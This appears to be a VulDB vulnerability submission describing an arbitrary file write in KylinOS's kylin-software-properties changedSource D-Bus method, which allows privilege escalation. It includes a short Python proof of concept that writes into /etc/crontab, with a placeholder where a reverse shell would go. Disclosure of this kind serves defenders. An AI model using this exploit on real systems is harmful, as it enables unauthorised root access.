| शीर्षक | Kylin OS kylin-software-properties arbitrary file write vuln |
|---|
| विवरण | Report
Describe
kylin-software-properties is a component on KylinOS Desktop for setting system software properties. There is an arbitrary file writing vulnerability in the changedSource function of this component, which can lead to privilege escalation for ordinary users.
Hazard level
High
Affected version
kylin-software-properties < 0.0.1-130
POC&&EXP
ISO Download:
https://distro-images.kylinos.cn:8802/web_pungi/download/share/HXDYtGjZm3daA4UvOTLkiPl1nB9ErM0c/
exploit.py
#!/usr/bin/env python3
import sys
import dbus
import os
def change_source(old, new, target):
bus = dbus.SystemBus()
obj = bus.get_object("com.kylin.software.properties", "/com/kylin/software/properties")
proxy = dbus.Interface(obj, "com.kylin.software.properties.interface")
print(proxy.changedSource([old, new, target]))
change_source("#", "rebound shell", "/etc/crontab")
os.system("grep -rn 'rebound shell' /etc/crontab") |
|---|
| स्रोत | ⚠️ https://github.com/i900008/vulndb/blob/main/kylinos_vul1.md |
|---|
| उपयोगकर्ता | Set3r.Pan (UID 28571) |
|---|
| सबमिशन | 22/05/2023 10:02 AM (3 साल पहले) |
|---|
| संयम | 05/06/2023 07:08 AM (14 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 230686 [KylinSoft kylin-software-properties सामने 0.0.1-130 पर KylinOS changedSource अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|